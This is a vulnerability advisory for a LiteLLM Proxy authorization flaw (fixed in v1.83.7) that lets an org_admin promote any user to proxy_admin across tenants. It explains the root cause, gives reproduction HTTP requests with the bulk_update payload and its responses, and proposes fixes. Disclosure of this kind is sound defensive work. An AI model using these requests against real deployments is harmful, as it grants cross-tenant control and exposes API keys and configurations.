LiteLLM

CRITICAL CVSS 9.0 · CWE-862 · CWE-269 · BerriAI/litellm

Org Admin Elevates Any User to Proxy Admin Across All Tenants in a Single Request

LiteLLM Proxy
≤ v1.83.2
internal_user_endpoints.py
CWE-862 · CWE-269
9.0 CRITICAL
org_admin key
v1.83.2 (Docker + PostgreSQL)
Patched v1.83.7

An org_admin can elevate any user on the platform to proxy_admin via POST /user/bulk_update. Two compounding authorization failures make this possible: organization_id passes the middleware membership check but is silently dropped by Pydantic before the handler runs, so it never constrains which users can be targeted. Simultaneously, user_role passes through the update helper with no elevation check, allowing any caller who reaches the endpoint to write proxy_admin into the database for arbitrary user IDs. The impact is irreversible without direct PostgreSQL access.

01 Root Cause

Failure 1: organization_id is a routing credential, not a scope boundary

Route-level access for org_admin is gated by _user_is_org_admin(), which reads organization_id from the raw JSON body and confirms the caller administers that org. However, organization_id is not a field in BulkUpdateUserRequest. Pydantic silently drops it on parse. The handler never receives it and never uses it to constrain which users are written to.

# BulkUpdateUserRequest: organization_id is absent class BulkUpdateUserRequest(BaseModel): users: Optional[List[str]] all_users: Optional[bool] user_updates: Optional[UpdateUserRequest] # organization_id not declared → silently dropped by Pydantic # _user_is_org_admin() reads from raw JSON body (passes ✓) singular = request_data.get("organization_id", None) if singular is not None: candidate_org_ids.append(singular) # ...confirms caller is org_admin of that org, grants access # Handler never sees organization_id again; no user filter applied

Failure 2: user_role passes through the update helper with no elevation check

# _update_internal_user_params(): no role-elevation guard def _update_internal_user_params(data_json: dict, data: UpdateUserRequest): non_default_values = {} for field, value in data_json.items(): if value is not None: non_default_values[field] = value # user_role included unconditionally return non_default_values

Any caller who reaches the endpoint can write proxy_admin into the DB for any user ID in the users list. The can_user_call_user_update() check that exists elsewhere in the codebase is not applied to user_role writes here.

02 Reproduction

Step 1: Enumerate target users (org_admin can call /user/list)

GET /user/list HTTP/1.1 Authorization: Bearer sk-k8UiO_Z0QOIbhjpQTFxR2Q HTTP 200: returns all users and their current roles

Step 2: Escalate arbitrary users to proxy_admin

POST /user/bulk_update HTTP/1.1 Authorization: Bearer sk-k8UiO_Z0QOIbhjpQTFxR2Q Content-Type: application/json { "users": ["835fc939-...", "645e8518-..."], "user_updates": { "user_role": "proxy_admin" }, "organization_id": "14224e0e-bafc-48a3-8ce1-e6553eb30585" } HTTP 200 { "results": [ { "user_id": "835fc939-...", "success": true, "updated_user": { "user_role": "proxy_admin" } }, { "user_id": "645e8518-...", "success": true, "updated_user": { "user_role": "proxy_admin" } } ], "successful_updates": 2, "failed_updates": 0 }

Step 3: Verify escalation

GET /user/info?user_id=835fc939-c36f-48ca-be37-b8506be7affd Authorization: Bearer sk-k8UiO_Z0QOIbhjpQTFxR2Q { "user_info": { "user_role": "proxy_admin", ... } }

Users across organizations, including users completely unrelated to the attacker’s org, are now proxy_admin. The organization_id field served only as a routing credential; it was never applied as a data filter.

03 Impact

Any org_admin credential, obtained via phishing, credential stuffing, or insider access, can elevate arbitrary users to proxy_admin in a single API call. proxy_admin has full access to all LLM model configurations, API keys, spend data, and routing rules for every tenant on the platform. There is no API-level rollback; recovery requires a direct UPDATE litellm_usertable SET user_role = ... in PostgreSQL.

04 CVSS Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H Base Score: 9.0 CRITICAL AV:N: exploitable over the network via the LiteLLM API AC:L: no special conditions; a single POST request suffices PR:L: requires only an org_admin key (low privilege relative to proxy_admin) UI:N: no user interaction required S:C: scope changed; org-level privilege grants cross-tenant control C:H: full access to all model configs, keys, and spend data I:H: arbitrary users can be permanently escalated A:H: recovery requires direct DB access; no API rollback
05 Recommended Fix

Fix 1: enforce organization_id as a data filter

Add organization_id to BulkUpdateUserRequest so Pydantic preserves it, then filter the target users list inside bulk_user_update() to only users belonging to that org before any write.

class BulkUpdateUserRequest(BaseModel): users: Optional[List[str]] all_users: Optional[bool] user_updates: Optional[UpdateUserRequest] organization_id: Optional[str] # ← add; now survives Pydantic parse

Fix 2: add a role-elevation guard

if "user_role" in data_json: requested_role = data_json["user_role"] elevated_roles = { LitellmUserRoles.PROXY_ADMIN.value, LitellmUserRoles.PROXY_ADMIN_VIEW_ONLY.value, } if requested_role in elevated_roles: if user_api_key_dict.user_role != LitellmUserRoles.PROXY_ADMIN.value: raise HTTPException( status_code=403, detail="Only proxy_admin can set user_role to proxy_admin" )

Fix 1 shipped in v1.83.7-stable (PR #25554). Fix 2 shipped in v1.83.8-nightly (PR #25541).